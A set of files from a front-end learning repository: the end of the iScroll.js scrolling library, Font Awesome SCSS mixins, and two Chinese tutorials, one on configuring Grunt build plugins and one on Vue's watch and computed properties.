Math.max(
Math.min(Math.abs(posX - this.x), 1000),
Math.min(Math.abs(posY - this.y), 1000)
), 300) : time;
this.currentPage = {
x: posX,
y: posY,
pageX: x,
pageY: y
};
this.scrollTo(posX, posY, time, easing);
},
next: function (time, easing) {
var x = this.currentPage.pageX,
y = this.currentPage.pageY;
x++;
if ( x >= this.pages.length && this.hasVerticalScroll ) {
x = 0;
y++;
}
this.goToPage(x, y, time, easing);
},
prev: function (time, easing) {
var x = this.currentPage.pageX,
y = this.currentPage.pageY;
x--;
if ( x < 0 && this.hasVerticalScroll ) {
x = 0;
y--;
}
this.goToPage(x, y, time, easing);
},
_initKeys: function (e) {
// default key bindings
var keys = {
pageUp: 33,
pageDown: 34,
end: 35,
home: 36,
left: 37,
up: 38,
right: 39,
down: 40
};
var i;
// if you give me characters I give you keycode
if ( typeof this.options.keyBindings == 'object' ) {
for ( i in this.options.keyBindings ) {
if ( typeof this.options.keyBindings[i] == 'string' ) {
this.options.keyBindings[i] = this.options.keyBindings[i].toUpperCase().charCodeAt(0);
}
}
} else {
this.options.keyBindings = {};
}
for ( i in keys ) {
this.options.keyBindings[i] = this.options.keyBindings[i] || keys[i];
}
utils.addEvent(window, 'keydown', this);
this.on('destroy', function () {
utils.removeEvent(window, 'keydown', this);
});
},
_key: function (e) {
if ( !this.enabled ) {
return;
}
var snap = this.options.snap, // we are using this alot, better to cache it
newX = snap ? this.currentPage.pageX : this.x,
newY = snap ? this.currentPage.pageY : this.y,
now = utils.getTime(),
prevTime = this.keyTime || 0,
acceleration = 0.250,
pos;
if ( this.options.useTransition && this.isInTransition ) {
pos = this.getComputedPosition();
this._translate(Math.round(pos.x), Math.round(pos.y));
this.isInTransition = false;
}
this.keyAcceleration = now - prevTime < 200 ? Math.min(this.keyAcceleration + acceleration, 50) : 0;
switch ( e.keyCode ) {
case this.options.keyBindings.pageUp:
if ( this.hasHorizontalScroll && !this.hasVerticalScroll ) {
newX += snap ? 1 : this.wrapperWidth;
} else {
newY += snap ? 1 : this.wrapperHeight;
}
break;
case this.options.keyBindings.pageDown:
if ( this.hasHorizontalScroll && !this.hasVerticalScroll ) {
newX -= snap ? 1 : this.wrapperWidth;
} else {
newY -= snap ? 1 : this.wrapperHeight;
}
break;
case this.options.keyBindings.end:
newX = snap ? this.pages.length-1 : this.maxScrollX;
newY = snap ? this.pages[0].length-1 : this.maxScrollY;
break;
case this.options.keyBindings.home:
newX = 0;
newY = 0;
break;
case this.options.keyBindings.left:
newX += snap ? -1 : 5 + this.keyAcceleration>>0;
break;
case this.options.keyBindings.up:
newY += snap ? 1 : 5 + this.keyAcceleration>>0;
break;
case this.options.keyBindings.right:
newX -= snap ? -1 : 5 + this.keyAcceleration>>0;
break;
case this.options.keyBindings.down:
newY -= snap ? 1 : 5 + this.keyAcceleration>>0;
break;
default:
return;
}
if ( snap ) {
this.goToPage(newX, newY);
return;
}
if ( newX > 0 ) {
newX = 0;
this.keyAcceleration = 0;
} else if ( newX < this.maxScrollX ) {
newX = this.maxScrollX;
this.keyAcceleration = 0;
}
if ( newY > 0 ) {
newY = 0;
this.keyAcceleration = 0;
} else if ( newY < this.maxScrollY ) {
newY = this.maxScrollY;
this.keyAcceleration = 0;
}
this.scrollTo(newX, newY, 0);
this.keyTime = now;
},
_animate: function (destX, destY, duration, easingFn) {
var that = this,
startX = this.x,
startY = this.y,
startTime = utils.getTime(),
destTime = startTime + duration;
function step () {
var now = utils.getTime(),
newX, newY,
easing;
if ( now >= destTime ) {
that.isAnimating = false;
that._translate(destX, destY);
if ( !that.resetPosition(that.options.bounceTime) ) {
that._execEvent('scrollEnd');
}
return;
}
now = ( now - startTime ) / duration;
easing = easingFn(now);
newX = ( destX - startX ) * easing + startX;
newY = ( destY - startY ) * easing + startY;
that._translate(newX, newY);
if ( that.isAnimating ) {
rAF(step);
}
}
this.isAnimating = true;
step();
},
handleEvent: function (e) {
switch ( e.type ) {
case 'touchstart':
case 'pointerdown':
case 'MSPointerDown':
case 'mousedown':
this._start(e);
break;
case 'touchmove':
case 'pointermove':
case 'MSPointerMove':
case 'mousemove':
this._move(e);
break;
case 'touchend':
case 'pointerup':
case 'MSPointerUp':
case 'mouseup':
case 'touchcancel':
case 'pointercancel':
case 'MSPointerCancel':
case 'mousecancel':
this._end(e);
break;
case 'orientationchange':
case 'resize':
this._resize();
break;
case 'transitionend':
case 'webkitTransitionEnd':
case 'oTransitionEnd':
case 'MSTransitionEnd':
this._transitionEnd(e);
break;
case 'wheel':
case 'DOMMouseScroll':
case 'mousewheel':
this._wheel(e);
break;
case 'keydown':
this._key(e);
break;
case 'click':
if ( this.enabled && !e._constructed ) {
e.preventDefault();
e.stopPropagation();
}
break;
}
}
};
function createDefaultScrollbar (direction, interactive, type) {
var scrollbar = document.createElement('div'),
indicator = document.createElement('div');
if ( type === true ) {
scrollbar.style.cssText = 'position:absolute;z-index:9999';
indicator.style.cssText = '-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;background:rgba(0,0,0,0.5);border:1px solid rgba(255,255,255,0.9);border-radius:3px';
}
indicator.className = 'iScrollIndicator';
if ( direction == 'h' ) {
if ( type === true ) {
scrollbar.style.cssText += ';height:7px;left:2px;right:2px;bottom:0';
indicator.style.height = '100%';
}
scrollbar.className = 'iScrollHorizontalScrollbar';
} else {
if ( type === true ) {
scrollbar.style.cssText += ';width:7px;bottom:2px;top:2px;right:1px';
indicator.style.width = '100%';
}
scrollbar.className = 'iScrollVerticalScrollbar';
}
scrollbar.style.cssText += ';overflow:hidden';
if ( !interactive ) {
scrollbar.style.pointerEvents = 'none';
}
scrollbar.appendChild(indicator);
return scrollbar;
}
function Indicator (scroller, options) {
this.wrapper = typeof options.el == 'string' ? document.querySelector(options.el) : options.el;
this.wrapperStyle = this.wrapper.style;
this.indicator = this.wrapper.children[0];
this.indicatorStyle = this.indicator.style;
this.scroller = scroller;
this.options = {
listenX: true,
listenY: true,
interactive: false,
resize: true,
defaultScrollbars: false,
shrink: false,
fade: false,
speedRatioX: 0,
speedRatioY: 0
};
for ( var i in options ) {
this.options[i] = options[i];
}
this.sizeRatioX = 1;
this.sizeRatioY = 1;
this.maxPosX = 0;
this.maxPosY = 0;
if ( this.options.interactive ) {
if ( !this.options.disableTouch ) {
utils.addEvent(this.indicator, 'touchstart', this);
utils.addEvent(window, 'touchend', this);
}
if ( !this.options.disablePointer ) {
utils.addEvent(this.indicator, utils.prefixPointerEvent('pointerdown'), this);
utils.addEvent(window, utils.prefixPointerEvent('pointerup'), this);
}
if ( !this.options.disableMouse ) {
utils.addEvent(this.indicator, 'mousedown', this);
utils.addEvent(window, 'mouseup', this);
}
}
if ( this.options.fade ) {
this.wrapperStyle[utils.style.transform] = this.scroller.translateZ;
var durationProp = utils.style.transitionDuration;
if(!durationProp) {
return;
}
this.wrapperStyle[durationProp] = utils.isBadAndroid ? '0.0001ms' : '0ms';
// remove 0.0001ms
var self = this;
if(utils.isBadAndroid) {
rAF(function() {
if(self.wrapperStyle[durationProp] === '0.0001ms') {
self.wrapperStyle[durationProp] = '0s';
}
});
}
this.wrapperStyle.opacity = '0';
}
}
Indicator.prototype = {
handleEvent: function (e) {
switch ( e.type ) {
case 'touchstart':
case 'pointerdown':
case 'MSPointerDown':
case 'mousedown':
this._start(e);
break;
case 'touchmove':
case 'pointermove':
case 'MSPointerMove':
case 'mousemove':
this._move(e);
break;
case 'touchend':
case 'pointerup':
case 'MSPointerUp':
case 'mouseup':
case 'touchcancel':
case 'pointercancel':
case 'MSPointerCancel':
case 'mousecancel':
this._end(e);
break;
}
},
destroy: function () {
if ( this.options.fadeScrollbars ) {
clearTimeout(this.fadeTimeout);
this.fadeTimeout = null;
}
if ( this.options.interactive ) {
utils.removeEvent(this.indicator, 'touchstart', this);
utils.removeEvent(this.indicator, utils.prefixPointerEvent('pointerdown'), this);
utils.removeEvent(this.indicator, 'mousedown', this);
utils.removeEvent(window, 'touchmove', this);
utils.removeEvent(window, utils.prefixPointerEvent('pointermove'), this);
utils.removeEvent(window, 'mousemove', this);
utils.removeEvent(window, 'touchend', this);
utils.removeEvent(window, utils.prefixPointerEvent('pointerup'), this);
utils.removeEvent(window, 'mouseup', this);
}
if ( this.options.defaultScrollbars ) {
this.wrapper.parentNode.removeChild(this.wrapper);
}
},
_start: function (e) {
var point = e.touches ? e.touches[0] : e;
e.preventDefault();
e.stopPropagation();
this.transitionTime();
this.initiated = true;
this.moved = false;
this.lastPointX = point.pageX;
this.lastPointY = point.pageY;
this.startTime = utils.getTime();
if ( !this.options.disableTouch ) {
utils.addEvent(window, 'touchmove', this);
}
if ( !this.options.disablePointer ) {
utils.addEvent(window, utils.prefixPointerEvent('pointermove'), this);
}
if ( !this.options.disableMouse ) {
utils.addEvent(window, 'mousemove', this);
}
this.scroller._execEvent('beforeScrollStart');
},
_move: function (e) {
var point = e.touches ? e.touches[0] : e,
deltaX, deltaY,
newX, newY,
timestamp = utils.getTime();
if ( !this.moved ) {
this.scroller._execEvent('scrollStart');
}
this.moved = true;
deltaX = point.pageX - this.lastPointX;
this.lastPointX = point.pageX;
deltaY = point.pageY - this.lastPointY;
this.lastPointY = point.pageY;
newX = this.x + deltaX;
newY = this.y + deltaY;
this._pos(newX, newY);
// INSERT POINT: indicator._move
e.preventDefault();
e.stopPropagation();
},
_end: function (e) {
if ( !this.initiated ) {
return;
}
this.initiated = false;
e.preventDefault();
e.stopPropagation();
utils.removeEvent(window, 'touchmove', this);
utils.removeEvent(window, utils.prefixPointerEvent('pointermove'), this);
utils.removeEvent(window, 'mousemove', this);
if ( this.scroller.options.snap ) {
var snap = this.scroller._nearestSnap(this.scroller.x, this.scroller.y);
var time = this.options.snapSpeed || Math.max(
Math.max(
Math.min(Math.abs(this.scroller.x - snap.x), 1000),
Math.min(Math.abs(this.scroller.y - snap.y), 1000)
), 300);
if ( this.scroller.x != snap.x || this.scroller.y != snap.y ) {
this.scroller.directionX = 0;
this.scroller.directionY = 0;
this.scroller.currentPage = snap;
this.scroller.scrollTo(snap.x, snap.y, time, this.scroller.options.bounceEasing);
}
}
if ( this.moved ) {
this.scroller._execEvent('scrollEnd');
}
},
transitionTime: function (time) {
time = time || 0;
var durationProp = utils.style.transitionDuration;
if(!durationProp) {
return;
}
this.indicatorStyle[durationProp] = time + 'ms';
if ( !time && utils.isBadAndroid ) {
this.indicatorStyle[durationProp] = '0.0001ms';
// remove 0.0001ms
var self = this;
rAF(function() {
if(self.indicatorStyle[durationProp] === '0.0001ms') {
self.indicatorStyle[durationProp] = '0s';
}
});
}
},
transitionTimingFunction: function (easing) {
this.indicatorStyle[utils.style.transitionTimingFunction] = easing;
},
refresh: function () {
this.transitionTime();
if ( this.options.listenX && !this.options.listenY ) {
this.indicatorStyle.display = this.scroller.hasHorizontalScroll ? 'block' : 'none';
} else if ( this.options.listenY && !this.options.listenX ) {
this.indicatorStyle.display = this.scroller.hasVerticalScroll ? 'block' : 'none';
} else {
this.indicatorStyle.display = this.scroller.hasHorizontalScroll || this.scroller.hasVerticalScroll ? 'block' : 'none';
}
if ( this.scroller.hasHorizontalScroll && this.scroller.hasVerticalScroll ) {
utils.addClass(this.wrapper, 'iScrollBothScrollbars');
utils.removeClass(this.wrapper, 'iScrollLoneScrollbar');
if ( this.options.defaultScrollbars && this.options.customStyle ) {
if ( this.options.listenX ) {
this.wrapper.style.right = '8px';
} else {
this.wrapper.style.bottom = '8px';
}
}
} else {
utils.removeClass(this.wrapper, 'iScrollBothScrollbars');
utils.addClass(this.wrapper, 'iScrollLoneScrollbar');
if ( this.options.defaultScrollbars && this.options.customStyle ) {
if ( this.options.listenX ) {
this.wrapper.style.right = '2px';
} else {
this.wrapper.style.bottom = '2px';
}
}
}
var r = this.wrapper.offsetHeight; // force refresh
if ( this.options.listenX ) {
this.wrapperWidth = this.wrapper.clientWidth;
if ( this.options.resize ) {
this.indicatorWidth = Math.max(Math.round(this.wrapperWidth * this.wrapperWidth / (this.scroller.scrollerWidth || this.wrapperWidth || 1)), 8);
this.indicatorStyle.width = this.indicatorWidth + 'px';
} else {
this.indicatorWidth = this.indicator.clientWidth;
}
this.maxPosX = this.wrapperWidth - this.indicatorWidth;
if ( this.options.shrink == 'clip' ) {
this.minBoundaryX = -this.indicatorWidth + 8;
this.maxBoundaryX = this.wrapperWidth - 8;
} else {
this.minBoundaryX = 0;
this.maxBoundaryX = this.maxPosX;
}
this.sizeRatioX = this.options.speedRatioX || (this.scroller.maxScrollX && (this.maxPosX / this.scroller.maxScrollX));
}
if ( this.options.listenY ) {
this.wrapperHeight = this.wrapper.clientHeight;
if ( this.options.resize ) {
this.indicatorHeight = Math.max(Math.round(this.wrapperHeight * this.wrapperHeight / (this.scroller.scrollerHeight || this.wrapperHeight || 1)), 8);
this.indicatorStyle.height = this.indicatorHeight + 'px';
} else {
this.indicatorHeight = this.indicator.clientHeight;
}
this.maxPosY = this.wrapperHeight - this.indicatorHeight;
if ( this.options.shrink == 'clip' ) {
this.minBoundaryY = -this.indicatorHeight + 8;
this.maxBoundaryY = this.wrapperHeight - 8;
} else {
this.minBoundaryY = 0;
this.maxBoundaryY = this.maxPosY;
}
this.maxPosY = this.wrapperHeight - this.indicatorHeight;
this.sizeRatioY = this.options.speedRatioY || (this.scroller.maxScrollY && (this.maxPosY / this.scroller.maxScrollY));
}
this.updatePosition();
},
updatePosition: function () {
var x = this.options.listenX && Math.round(this.sizeRatioX * this.scroller.x) || 0,
y = this.options.listenY && Math.round(this.sizeRatioY * this.scroller.y) || 0;
if ( !this.options.ignoreBoundaries ) {
if ( x < this.minBoundaryX ) {
if ( this.options.shrink == 'scale' ) {
this.width = Math.max(this.indicatorWidth + x, 8);
this.indicatorStyle.width = this.width + 'px';
}
x = this.minBoundaryX;
} else if ( x > this.maxBoundaryX ) {
if ( this.options.shrink == 'scale' ) {
this.width = Math.max(this.indicatorWidth - (x - this.maxPosX), 8);
this.indicatorStyle.width = this.width + 'px';
x = this.maxPosX + this.indicatorWidth - this.width;
} else {
x = this.maxBoundaryX;
}
} else if ( this.options.shrink == 'scale' && this.width != this.indicatorWidth ) {
this.width = this.indicatorWidth;
this.indicatorStyle.width = this.width + 'px';
}
if ( y < this.minBoundaryY ) {
if ( this.options.shrink == 'scale' ) {
this.height = Math.max(this.indicatorHeight + y * 3, 8);
this.indicatorStyle.height = this.height + 'px';
}
y = this.minBoundaryY;
} else if ( y > this.maxBoundaryY ) {
if ( this.options.shrink == 'scale' ) {
this.height = Math.max(this.indicatorHeight - (y - this.maxPosY) * 3, 8);
this.indicatorStyle.height = this.height + 'px';
y = this.maxPosY + this.indicatorHeight - this.height;
} else {
y = this.maxBoundaryY;
}
} else if ( this.options.shrink == 'scale' && this.height != this.indicatorHeight ) {
this.height = this.indicatorHeight;
this.indicatorStyle.height = this.height + 'px';
}
}
this.x = x;
this.y = y;
if ( this.scroller.options.useTransform ) {
this.indicatorStyle[utils.style.transform] = 'translate(' + x + 'px,' + y + 'px)' + this.scroller.translateZ;
} else {
this.indicatorStyle.left = x + 'px';
this.indicatorStyle.top = y + 'px';
}
},
_pos: function (x, y) {
if ( x < 0 ) {
x = 0;
} else if ( x > this.maxPosX ) {
x = this.maxPosX;
}
if ( y < 0 ) {
y = 0;
} else if ( y > this.maxPosY ) {
y = this.maxPosY;
}
x = this.options.listenX ? Math.round(x / this.sizeRatioX) : this.scroller.x;
y = this.options.listenY ? Math.round(y / this.sizeRatioY) : this.scroller.y;
this.scroller.scrollTo(x, y);
},
fade: function (val, hold) {
if ( hold && !this.visible ) {
return;
}
clearTimeout(this.fadeTimeout);
this.fadeTimeout = null;
var time = val ? 250 : 500,
delay = val ? 0 : 300;
val = val ? '1' : '0';
this.wrapperStyle[utils.style.transitionDuration] = time + 'ms';
this.fadeTimeout = setTimeout((function (val) {
this.wrapperStyle.opacity = val;
this.visible = +val;
}).bind(this, val), delay);
}
};
IScroll.utils = utils;
if ( typeof module != 'undefined' && module.exports ) {
module.exports = IScroll;
} else if ( typeof define == 'function' && define.amd ) {
define( function () { return IScroll; } );
} else {
window.IScroll = IScroll;
}
})(window, document, Math);
| Daotin/Web/07-移动Web开发/案例源码/03-微金所/js/iscroll.js/0 | {
"file_path": "Daotin/Web/07-移动Web开发/案例源码/03-微金所/js/iscroll.js",
"repo_id": "Daotin",
"token_count": 22445
} | 17 |
// Mixins
// --------------------------
@mixin fa-icon() {
display: inline-block;
font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
font-size: inherit; // can't have font-size inherit on line above, so need to override
text-rendering: auto; // optimizelegibility throws things off #1094
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
@mixin fa-icon-rotate($degrees, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})";
-webkit-transform: rotate($degrees);
-ms-transform: rotate($degrees);
transform: rotate($degrees);
}
@mixin fa-icon-flip($horiz, $vert, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)";
-webkit-transform: scale($horiz, $vert);
-ms-transform: scale($horiz, $vert);
transform: scale($horiz, $vert);
}
// Only display content to screen readers. A la Bootstrap 4.
//
// See: http://a11yproject.com/posts/how-to-hide-content/
@mixin sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0,0,0,0);
border: 0;
}
// Use in conjunction with .sr-only to only display content when it's focused.
//
// Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1
//
// Credit: HTML5 Boilerplate
@mixin sr-only-focusable {
&:active,
&:focus {
position: static;
width: auto;
height: auto;
margin: 0;
overflow: visible;
clip: auto;
}
}
| Daotin/Web/07-移动Web开发/案例源码/03-微金所/lib/font-awesome-4.7.0/scss/_mixins.scss/0 | {
"file_path": "Daotin/Web/07-移动Web开发/案例源码/03-微金所/lib/font-awesome-4.7.0/scss/_mixins.scss",
"repo_id": "Daotin",
"token_count": 619
} | 18 |
## 一、Grunt介绍
Grunt 中文主页 : http://www.gruntjs.net/

Grunt 是一套前端**自动化构建**工具,一个基于nodeJs的命令行工具。
它是一个**任务运行器**, 配合其丰富强大的**插件**
**注意:Grunt 不支持 ES6 语法。如果要使用,需要先转化成 ES5 语法,再使用 Grunt。**
**常用功能:**
* **合并文件**(js/css)
* **压缩文件**(js/css)
* **语法检查**(js)
* **less/sass预编译处理**
* 其它...
## 二、Grunt 使用步骤
**1、安装nodejs**
```
// 查看版本
node -v
```
**2、创建一个简单的应用 grunt 项目。**
下面是目录的结构:
```
|- build----------构建生成的文件所在的文件夹
|- src------------源码文件夹
|- js---------------js源文件夹
|- css--------------css源文件夹
|- index.html-----页面文件
|- Gruntfile.js---grunt配置文件(注意首字母大写)
|- package.json---项目包配置文件
{
"name": "grunt_test",
"version": "1.0.0"
}
```
> 注意:package.json 中 name 的值 只能包含小写字母数字和中划线,如果为空则使用项目文件夹名称代替。
**3、安装 grunt**
此命令会自动生成 node-modules 文件夹。
- 全局安装 grunt-cli
```
npm install -g grunt-cli
```
* 项目安装 grunt
```
npm install grunt --save-dev
```

*为什么全局安装 grunt 后还要局部安装 grunt?*
**全局安装的 gulp 是在命令行中用的,项目中的 gulp 是调用 插件 或者自身的命令用的,名称相同,作用不同,缺一不可。**
**package.json和package-lock.json的区别:**
自npm 5.0版本发布以来,npm istall的规则发生了三次变化:
1.npm 5.0.x版本,不管package.json怎么变,npm install时都会根据package-lock.json下载;
2.npm 5.1.0版本后,npm install会无视package-lock.json,下载最新的版本;
3.npm 5.4.2版本后,
如果package.json与package-lock.json不一致,npm install会根据package.json去下载版本,并更新package-lock.json;
如果package.json与package-lock.json一致,npm install会根据package-lock.json去下载。
**4、运行构建项目命令**
```
grunt
```
提示:`Fatal error: Unable to find Gruntfile.` 说明我们没有添加 `Gruntfile.js` 文件,在执行 grunt 命令的时候,会先找 Gruntfile.js 文件,这文件里面描述的是要执行什么任务。

**5、配置文件: Gruntfile.js**
* 此配置文件本质就是一个node函数类型模块
* 配置编码包含3步:
1. 初始化插件配置
2. 加载插件任务
3. 注册构建任务
* 基本编码(下面是以 uglify 插件为例),**grunt 的任务执行其实并不是本身执行任务,而是调用旗下各种插件来执行各种任务。grunt 就像一个大脑一样,只是起到指挥作用**:
```js
module.exports = function(grunt) {
// 1、初始化插件配置
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
uglify: {
options: {
banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n'
},
build: {
src: 'src/<%= pkg.name %>.js',
dest: 'build/<%= pkg.name %>.min.js'
}
}
});
// 2、加载任务的插件。
grunt.loadNpmTasks('grunt-contrib-uglify');
// 3、注册构建任务
grunt.registerTask('default', ['uglify']);
};
```
此配置可以在官网找到:

再次执行命令: `grunt` -------- 提示成功, 但没有任何效果(还没有使用插件定义任务,我们将其注释掉了)

## 三、Grunt插件
grunt官网的插件列表页面 http://www.gruntjs.net/plugins
**插件分类:**
* grunt团队贡献的插件 : 插件名大都以`contrib-`开头
* 第三方提供的插件 : 大都不以contrib-开头
**常用的插件:**
* `grunt-contrib-clean`——清除文件(打包处理生成的)
* `grunt-contrib-concat`——合并多个文件的代码到一个文件中
* `grunt-contrib-uglify`——压缩js文件
* `grunt-contrib-jshint`——javascript语法错误检查;
* `grunt-contrib-cssmin`——压缩/合并css文件
* `grunt-contrib-htmlmin`——压缩html文件
* `grunt-contrib-imagemin`——压缩图片文件(无损)
* `grunt-contrib-copy`——复制文件、文件夹
* `grunt-contrib-requirejs`——合并压缩requirejs管理的所有js模块文件
* `grunt-contrib-watch`——实时监控文件变化、调用相应的任务重新执行
## 四、JS 插件使用
### 1、合并js
**注意:每个插件在使用的时候,都需要单独下载。**
下面以**合并js**: 使用concat插件为例:
**1、下载concat插件:**
```
npm install grunt-contrib-concat --save-dev
```
**2、编写两个js文件:**
src/js/test1.js
```js
(function () {
function add(num1, num2) {
return num1 + num2;
}
console.log(add(10, 20));
})();
```
src/js/test2.js
```js
(function () {
var arr = [2,3,4].map(function (item, index) {
return item+1;
});
console.log(arr);
})();
```
**3、配置: Gruntfile.js**
配置任务:(这个可以在官网查到插件的使用,然后进行适当路径的修改)
```js
concat: {
options: { //可选项配置
separator: ';' //使用;连接合并
},
build: { //此名称任意
src: ["src/js/*.js"], //合并哪些js文件
dest: "build/js/built.js" //输出的js文件
}
}
```
加载插件:
```
grunt.loadNpmTasks('grunt-contrib-concat');
```
注册任务
```
grunt.registerTask('default', ['concat']);
```
执行命令:
```
grunt concat(或者直接使用grunt,会按顺序自动执行任务列表的任务。)
```

### 2、压缩js
**1、下载uglify插件**
```
npm install grunt-contrib-uglify --save-dev
```
**2、配置: Gruntfile.js**
配置任务:
```js
pkg : grunt.file.readJSON('package.json'),
uglify : {
options: { //不是必须的
banner: '/*! <%= pkg.name %> - v<%= pkg.version %> - ' +
'<%= grunt.template.today("yyyy-mm-dd") %> */'
},
build: {
files: {
'build/js/built-<%=pkg.name%>-<%=pkg.version%>.min.js': ['build/js/built.js']
}
}
}
```
加载任务:
```
grunt.loadNpmTasks('grunt-contrib-uglify');
```
注册任务:
```
grunt.registerTask('default', ['concat', 'uglify']);
```
执行任务:
```
grunt uglify(或者直接使用grunt,会按顺序自动执行任务列表的任务。先执行 concat,再执行uglify)
```

压缩后的文件:

上面的注释就是 uglify 里面的 options 对应的输出内容。
可以看到,我们的test1.js 直接压缩成了 console.log(30);厉害了!
**需要注意的是:直接使用grunt,会按顺序自动执行任务列表的任务。先执行 concat,再执行uglify,这就说明 Grunt 是同步执行任务的。**
### 3、js语法检查
**1、下载jshint插件:**
```
npm install grunt-contrib-jshint --save-dev
```
**2、依赖文件:** `.jshintrc`
由于 js 语法检查,是需要指定一些规则的,这些规则都写在 `.jshintrc`中,所以我们要先编写好 `.jshintrc`文件。
```json
{
"curly": true,
"eqeqeq": true,
"eqnull": true,
"expr" : true,
"immed": true,
"newcap": true,
"noempty": true,
"noarg": true,
"regexp": true,
"browser": true,
"devel": true,
"node": true,
"boss": false,
//不能使用未定义的变量
"undef": true,
//语句后面必须有分号
"asi": false,
//预定义不检查的全局变量
"predef": [ "define", "BMap", "angular", "BMAP_STATUS_SUCCESS"]
}
```
> 注意:最后的注释要去掉,因为 json 里面不允许有注释。
**3、修改src/js/test1.js**
```js
(function () {
function add(num1, num2) {
return num1 + num2
}
console.log(add(10, 20));
})();
```
**4、配置 : Gruntfile.js**
配置任务:
```js
jshint : {
options: {
jshintrc : '.jshintrc' //指定配置文件
},
build : ['Gruntfile.js', 'src/js/*.js'] //指定检查的文件
}
```
加载任务:
```
grunt.loadNpmTasks('grunt-contrib-jshint');
```
注册任务:
```
grunt.registerTask('default', ['concat', 'uglify', 'jshint']);
```
执行命令:
```
grunt //提示语句后未加分号 -->修改后重新编译
```

## 五、CSS 插件使用
### 1、合并压缩css
**1、下载cssmin插件:**
```
npm install grunt-contrib-cssmin --save-dev
```
**2、先编写好两个css文件:**
test1.css
```css
#box1 {
width: 100px;
height: 100px;
background: red;
}
```
test2.css
```css
#box2 {
width: 200px;
height: 200px;
background: blue;
}
```
**3、配置 : Gruntfile.js**
配置任务:
```js
cssmin:{
options: {
shorthandCompacting: false,
roundingPrecision: -1
},
build: {
files: {
'build/css/output.min.css': ['src/css/*.css']
}
}
}
```
加载任务:
```
grunt.loadNpmTasks('grunt-contrib-cssmin');
```
注册任务:
```
grunt.registerTask('default', ['concat', 'uglify', 'jshint', 'cssmin']);
```
执行任务:
```
grunt //在dist/css/下生成dist.min.css
```

**我们可以发现:cssmin 其实不止进行了压缩操作,还进行了合并操作。**
## 六、使用watch插件
之前,我们每次修改js 或者css文件之后,都会进行一次`grunt` 指令的操作,这样太麻烦了,有没有一种方法可以在我们丢改了js 或者css文件之后,自动进行 grunt 的操作呢?watch 插件可以做到真正的自动化构建项目。
**1、下载watch插件:**
```
npm install grunt-contrib-watch --save-dev
```
**2、配置 : Gruntfile.js**
配置任务:
`files`:表示监视的是哪些文件
`tasks`:表示这些文件改变后,应该执行哪些任务
`options`:一些配置。spawn : false;表示变量更新,只对那些修改了的源文件执行任务,而不需要把所有的任务重新执行一遍,相当于C语言单文件编译和全部编译的区别。
```
watch : {
scripts : {
files : ['src/js/*.js', 'src/css/*.css'],
tasks : ['concat', 'jshint', 'uglify', 'cssmin'],
options : {spawn : false}
}
}
```
加载任务:
```
grunt.loadNpmTasks('grunt-contrib-watch');
```
注册任务:
```
grunt.registerTask('default', ['concat', 'uglify', 'jshint', 'watch']);
```
上面这种写法会在cmd下一直等待源文件的改变,无法停止。而我们在需要项目上线的时候,只需要执行一次任务即可,所以我们可以专门定义一个任务来监听源文件的改变,而对于需要上线的项目,只需要像之前default任务一样执行一次就好了。
改进写法:
```
grunt.registerTask('default', ['concat', 'uglify', 'jshint']);
grunt.registerTask('mywatch', ['default','watch']);
```
> 注意:在执行监视任务的时候,一定要先执行default的任务,否则无法完成监视任务。
执行命令:
```
grunt mywatch //控制台提示watch已经开始监听, 修改源文件保存后会自动编译处理
```

 | Daotin/Web/11-自动化构建/01-Grunt.md/0 | {
"file_path": "Daotin/Web/11-自动化构建/01-Grunt.md",
"repo_id": "Daotin",
"token_count": 6579
} | 19 |
## 一、Vue的watch属性
我们需要实现这样一个案例:有三个文本框,第一个文本框是姓,第二个文本框是名,第三个文本框是前两个文本框的组合。需求是当前两个文本框数据变化的时候,第三个文本框自动组合。
**方式一:**
可以给第一,二个文本框添加`keyup` 事件,监听按键的抬起事件,然后拼接出第三个文本框的内容。
```html
<body>
<div id="box">
<input type="text" v-model="firstname" @keyup="keyup"> +
<input type="text" v-model="lastname" @keyup="keyup"> =
<input type="text" v-model="fullname">
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
firstname: '',
lastname: '',
fullname: ''
},
methods: {
keyup() {
this.fullname = this.firstname + '·' + this.lastname;
}
}
});
</script>
</body>
```
**方式二:**
使用vm实例的 watch 属性,可以监视 data 中指定数据的变化,然后触发这个 watch 中对应的 function 处理函数。
function 处理函数有两个参数:
`newVal`:表示改变后的数据。
`oldVal`:表示改变之前的数据。
```html
<body>
<div id="box">
<input type="text" v-model="firstname"> +
<input type="text" v-model="lastname"> =
<input type="text" v-model="fullname">
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
firstname: '',
lastname: '',
fullname: ''
},
methods: {},
watch: {
'firstname': function (newVal, oldVal) {
this.fullname = newVal + '-' + this.lastname;
},
'lastname': function (newVal, oldVal) {
this.fullname = this.firstname + '-' + newVal;
},
}
});
</script>
</body>
```
### 1、watch监视路由的改变
通过`$route.path` 来判断路由的改变。注意不要加 this。
```html
<body>
<div id="box">
<router-link to="/login">登陆</router-link>
<router-link to="/register">注册</router-link>
<router-view></router-view>
</div>
<script>
// 3、创建组件模板对象
var login = {
template: '<h3>登录组件</h3>',
};
var register = {
template: '<h3>注册组件</h3>'
};
// 2、创建路由对象
var routerObj = new VueRouter({
routes: [{
path: '/',
redirect: '/login'
}, {
path: '/login',
component: login
}, {
path: '/register',
component: register
}],
});
var vm = new Vue({
el: "#box",
data: {},
methods: {},
// 4、将vm实例和路由对象联系起来
router: routerObj,
watch: {
// 注意不要加 this.
'$route.path': function (newVal, oldVal) {
if (newVal === '/register') {
console.log('注册页面');
} else if (newVal === '/login') {
console.log('登录页面');
}
}
}
});
</script>
</body>
```
### 2、computed 监视 data数据的改变
除了 watch 之外,还有computed这个属性,可以用来监视data上的数据改变。
